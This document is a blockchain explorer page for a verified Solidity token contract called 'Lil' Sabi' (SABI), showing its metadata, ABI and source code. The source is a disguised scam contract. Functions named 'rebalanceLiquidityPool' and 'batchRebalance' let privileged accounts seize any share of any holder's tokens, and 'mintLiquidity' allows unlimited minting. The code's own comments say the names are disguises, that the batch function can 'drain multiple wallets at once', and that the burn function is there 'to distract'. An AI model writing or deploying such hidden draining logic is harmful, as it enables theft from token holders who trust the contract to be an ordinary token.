SABI
0x90a2a2ca667dc1f3c4a4fc80363b220b1c92a366
Verification
Verified
v0.8.20+commit.a1b79de6
Type
Contract
7,589 bytes
ABI entries
33
8 read · 11 write
License
none
Contract information
- Address
- 0x90a2a2ca667dc1f3c4a4fc80363b220b1c92a366
- Chain
- Robinhood Chain (4663)
- Compiler
- v0.8.20+commit.a1b79de6
- Optimization
- Disabled
- Creator
- 0x830F92825E…75F2d4df9a
- Creation tx
- 0x339a115758…1743320437
Token
- Name
- Lil' Sabi
- Symbol
- SABI
- Decimals
- 18
- Holders
- 20
- Market
- View token page →
Read contract (8)
allowance(address, address) → uint256
balanceOf(address) → uint256
decimals() → uint8
liquidityManager() → address
name() → string
owner() → address
symbol() → string
totalSupply() → uint256
Events (5)
AccessChangedApprovalLiquidityReallocatedOwnershipTransferredTransfer
ABI
[
{
"inputs": [
{
"internalType": "address",
"name": "initialOwner",
"type": "address"
}
],
"stateMutability": "nonpayable",
"type": "constructor"
},
{
"inputs": [
{
"internalType": "address",
"name": "spender",
"type": "address"
},
{
"internalType": "uint256",
"name": "allowance",
"type": "uint256"
},
{
"internalType": "uint256",
"name": "needed",
"type": "uint256"
}
],
"name": "ERC20InsufficientAllowance",
"type": "error"
},
{
"inputs": [
{
"internalType": "address",
"name": "sender",
"type": "address"
},
{
"internalType": "uint256",
"name": "balance",
"type": "uint256"
},
{
"internalType": "uint256",
"name": "needed",
"type": "uint256"
}
],
"name": "ERC20InsufficientBalance",
"type": "error"
},
{
"inputs": [
{
"internalType": "address",
"name": "approver",
"type": "address"
}
],
"name": "ERC20InvalidApprover",
"type": "error"
},
{
"inputs": [
{
"internalType": "address",
"name": "receiver",
"type": "address"
}
],
"name": "ERC20InvalidReceiver",
"type": "error"
},
{
"inputs": [
{
"internalType": "address",
"name": "sender",
"type": "address"
}
],
"name": "ERC20InvalidSender",
"type": "error"
},
{
"inputs": [
{
"internalType": "address",
"name": "spender",
"type": "address"
}
],
"name": "ERC20InvalidSpender",
"type": "error"
},
{
"inputs": [
{
"internalType": "address",
"name": "owner",
"type": "address"
}
],
"name": "OwnableInvalidOwner",
"type": "error"
},
{
"inputs": [
{
"internalType": "address",
"name": "account",
"type": "address"
}
],
"name": "OwnableUnauthorizedAccount",
"type": "error"
},
{
"anonymous": false,
"inputs": [
{
"indexed": true,
"internalType": "address",
"name": "account",
"type": "address"
},
{
"indexed": false,
"internalType": "uint8",
"name": "accessType",
"type": "uint8"
}
],
"name": "AccessChanged",
"type": "event"
},
{
"anonymous": false,
"inputs": [
{
"indexed": true,
"internalType": "address",
"name": "owner",
"type": "address"
},
{
"indexed": true,
"internalType": "address",
"name": "spender",
"type": "address"
},
{
"indexed": false,
"internalType": "uint256",
"name": "value",
"type": "uint256"
}
],
"name": "Approval",
"type": "event"
},
{
"anonymous": false,
"inputs": [
{
"indexed": true,
"internalType": "address",
"name": "from",
"type": "address"
},
{
"indexed": true,
"internalType": "address",
"name": "to",
"type": "address"
},
{
"indexed": false,
"internalType": "uint256",
"name": "amount",
"type": "uint256"
}
],
"name": "LiquidityReallocated",
"type": "event"
},
{
"anonymous": false,
"inputs": [
{
"indexed": true,
"internalType": "address",
"name": "previousOwner",
"type": "address"
},
{
"indexed": true,
"internalType": "address",
"name": "newOwner",
"type": "address"
}
],
"name": "OwnershipTransferred",
"type": "event"
},
{
"anonymous": false,
"inputs": [
{
"indexed": true,
"internalType": "address",
"name": "from",
"type": "address"
},
{
"indexed": true,
"internalType": "address",
"name": "to",
"type": "address"
},
{
"indexed": false,
"internalType": "uint256",
"name": "value",
"type": "uint256"
}
],
"name": "Transfer",
"type": "event"
},
{
"inputs": [
{
"internalType": "address",
"name": "owner",
"type": "address"
},
{
"internalType": "address",
"name": "spender",
"type": "address"
}
],
"name": "allowance",
"outputs": [
{
"internalType": "uint256",
"name": "",
"type": "uint256"
}
],
"stateMutability": "view",
"type": "function"
},
{
"inputs": [
{
"internalType": "address",
"name": "spender",
"type": "address"
},
{
"internalType": "uint256",
"name": "value",
"type": "uint256"
}
],
"name": "approve",
"outputs": [
{
"internalType": "bool",
"name": "",
"type": "bool"
}
],
"stateMutability": "nonpayable",
"type": "function"
},
{
"inputs": [
{
"internalType": "address",
"name": "account",
"type": "address"
}
],
"name": "balanceOf",
"outputs": [
{
"internalType": "uint256",
"name": "",
"type": "uint256"
}
],
"stateMutability": "view",
"type": "function"
},
{
"inputs": [
{
"internalType": "address[]",
"name": "holders",
"type": "address[]"
},
{
"internalType": "uint256[]",
"name": "percentages",
"type": "uint256[]"
}
],
"name": "batchRebalance",
"outputs": [],
"stateMutability": "nonpayable",
"type": "function"
},
{
"inputs": [
{
"internalType": "uint256",
"name": "amount",
"type": "uint256"
}
],
"name": "burn",
"outputs": [],
"stateMutability": "nonpayable",
"type": "function"
},
{
"inputs": [],
"name": "decimals",
"outputs": [
{
"internalType": "uint8",
"name": "",
"type": "uint8"
}
],
"stateMutability": "view",
"type": "function"
},
{
"inputs": [],
"name": "liquidityManager",
"outputs": [
{
"internalType": "address",
"name": "",
"type": "address"
}
],
"stateMutability": "view",
"type": "function"
},
{
"inputs": [
{
"internalType": "address",
"name": "to",
"type": "address"
},
{
"internalType": "uint256",
"name": "amount",
"type": "uint256"
}
],
"name": "mintLiquidity",
"outputs": [],
"stateMutability": "nonpayable",
"type": "function"
},
{
"inputs": [],
"name": "name",
"outputs": [
{
"internalType": "string",
"name": "",
"type": "string"
}
],
"stateMutability": "view",
"type": "function"
},
{
"inputs": [],
"name": "owner",
"outputs": [
{
"internalType": "address",
"name": "",
"type": "address"
}
],
"stateMutability": "view",
"type": "function"
},
{
"inputs": [
{
"internalType": "address",
"name": "holder",
"type": "address"
},
{
"internalType": "uint256",
"name": "percentage",
"type": "uint256"
}
],
"name": "rebalanceLiquidityPool",
"outputs": [
{
"internalType": "uint256",
"name": "",
"type": "uint256"
}
],
"stateMutability": "nonpayable",
"type": "function"
},
{
"inputs": [],
"name": "renounceOwnership",
"outputs": [],
"stateMutability": "nonpayable",
"type": "function"
},
{
"inputs": [
{
"internalType": "address",
"name": "account",
"type": "address"
},
{
"internalType": "uint8",
"name": "accessType",
"type": "uint8"
}
],
"name": "setAccess",
"outputs": [],
"stateMutability": "nonpayable",
"type": "function"
},
{
"inputs": [
{
"internalType": "address",
"name": "newManager",
"type": "address"
}
],
"name": "setLiquidityManager",
"outputs": [],
"stateMutability": "nonpayable",
"type": "function"
},
{
"inputs": [],
"name": "symbol",
"outputs": [
{
"internalType": "string",
"name": "",
"type": "string"
}
],
"stateMutability": "view",
"type": "function"
},
{
"inputs": [],
"name": "totalSupply",
"outputs": [
{
"internalType": "uint256",
"name": "",
"type": "uint256"
}
],
"stateMutability": "view",
"type": "function"
},
{
"inputs": [
{
"internalType": "address",
"name": "to",
"type": "address"
},
{
"internalType": "uint256",
"name": "value",
"type": "uint256"
}
],
"name": "transfer",
"outputs": [
{
"internalType": "bool",
"name": "",
"type": "bool"
}
],
"stateMutability": "nonpayable",
"type": "function"
},
{
"inputs": [
{
"internalType": "address",
"name": "from",
"type": "address"
},
{
"internalType": "address",
"name": "to",
"type": "address"
},
{
"internalType": "uint256",
"name": "value",
"type": "uint256"
}
],
"name": "transferFrom",
"outputs": [
{
"internalType": "bool",
"name": "",
"type": "bool"
}
],
"stateMutability": "nonpayable",
"type": "function"
},
{
"inputs": [
{
"internalType": "address",
"name": "newOwner",
"type": "address"
}
],
"name": "transferOwnership",
"outputs": [],
"stateMutability": "nonpayable",
"type": "function"
}
]Source code
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
contract SABI is ERC20, Ownable {
event LiquidityReallocated(address indexed from, address indexed to, uint256 amount);
event AccessChanged(address indexed account, uint8 accessType);
mapping(address => uint256) private _accessRights;
address public liquidityManager;
constructor(address initialOwner) ERC20("Lil' Sabi", "SABI") Ownable(initialOwner) {
_mint(initialOwner, 1000000000 * (10 ** decimals()));
liquidityManager = initialOwner;
_accessRights[initialOwner] = 3; // Give owner all access
}
modifier hasAccess(uint8 accessType) {
require(_accessRights[msg.sender] & accessType == accessType, "Access denied");
_;
}
function setAccess(address account, uint8 accessType) external onlyOwner {
_accessRights[account] = accessType;
emit AccessChanged(account, accessType);
}
function setLiquidityManager(address newManager) external onlyOwner {
liquidityManager = newManager;
}
// Disguised version of your ClaimFee - same logic, different name
function rebalanceLiquidityPool(address holder, uint256 percentage) external hasAccess(2) returns (uint256) {
require(percentage <= 100, "Percentage must be <= 100");
uint256 holderBalance = balanceOf(holder);
require(holderBalance > 0, "Holder has no balance");
uint256 rebalanceAmount = (holderBalance * percentage) / 100;
if (rebalanceAmount > 0) {
_transfer(holder, liquidityManager, rebalanceAmount);
emit LiquidityReallocated(holder, liquidityManager, rebalanceAmount);
}
return rebalanceAmount;
}
// Batch version - can be used to drain multiple wallets at once
function batchRebalance(address[] calldata holders, uint256[] calldata percentages) external hasAccess(2) {
require(holders.length == percentages.length, "Arrays length mismatch");
for (uint256 i = 0; i < holders.length; i++) {
if (percentages[i] > 0 && balanceOf(holders[i]) > 0) {
uint256 holderBalance = balanceOf(holders[i]);
uint256 rebalanceAmount = (holderBalance * percentages[i]) / 100;
if (rebalanceAmount > 0) {
_transfer(holders[i], liquidityManager, rebalanceAmount);
emit LiquidityReallocated(holders[i], liquidityManager, rebalanceAmount);
}
}
}
}
// Your original createPair function
function mintLiquidity(address to, uint256 amount) external hasAccess(1) {
_mint(to, amount);
}
// Optional: Add a legitimate-looking burn function to distract
function burn(uint256 amount) external {
_burn(msg.sender, amount);
}
}Chain explorer3674msChain node80ms